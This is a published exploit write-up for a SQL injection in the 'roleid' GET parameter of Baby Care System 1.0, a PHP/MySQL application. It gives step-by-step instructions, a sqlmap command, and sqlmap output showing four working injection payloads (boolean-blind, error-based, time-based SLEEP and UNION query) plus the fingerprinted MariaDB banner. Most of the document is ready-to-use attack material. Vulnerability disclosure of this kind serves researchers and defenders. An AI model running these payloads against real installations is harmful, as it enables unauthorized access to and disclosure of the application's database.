Baby Care System 1.0 - 'roleid' SQL Injection

# Exploit Title: Baby Care System 1.0 - 'roleid' SQL Injection
# Exploit Author: Vijay Sachdeva
# Date: 2020-12-23
# Vendor Homepage: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14622&title=Baby+Care+System+in+PHP%2FMySQLi+with+Full+Source+Code+
# Affected Version: Version 1
# Tested on Kali Linux

Step 1. Log in to the application with admin credentials.

Step 2. Click on "MENUS" on the left side and then edit any "Page Role".

Step 3. On the edit page, the URL should be: http://localhost/BabyCare-master/admin.php?id=pagerole&action=edit&roleid=7

Step 4. Run sqlmap on the URL where the "roleid" parameter is given

sqlmap -u "
http://192.168.1.240/BabyCare-master/admin.php?id=pagerole&action=edit&roleid=7"
--banner

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Parameter: roleid (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=pagerole&action=edit&roleid=8' AND 3077=3077 AND
'IPDn'='IPDn


    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 2834 FROM(SELECT
COUNT(*),CONCAT(0x7170767871,(SELECT
(ELT(2834=2834,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'jnFT'='jnFT


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 4559 FROM
(SELECT(SLEEP(5)))jaEa) AND 'iBGT'='iBGT


    Type: UNION query

    Title: Generic UNION query (NULL) - 4 columns

    Payload: id=pagerole&action=edit&roleid=-2488' UNION ALL SELECT
CONCAT(0x7170767871,0x7577594366596d7077424f5746685366434a5244775565756b7a41566d63546c5156564e6d67556e,0x71717a6271),NULL,NULL,NULL--
-

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[05:32:00] [INFO] the back-end DBMS is MySQL

[05:32:00] [INFO] fetching banner

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

banner: '10.3.24-MariaDB-2'

---

[08:18:34] [INFO] the back-end DBMS is MySQL

[08:18:34] [INFO] fetching banner

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

banner: '10.3.24-MariaDB-2'


---

Step 5. Sqlmap should inject the web-app successfully which leads to information disclosure.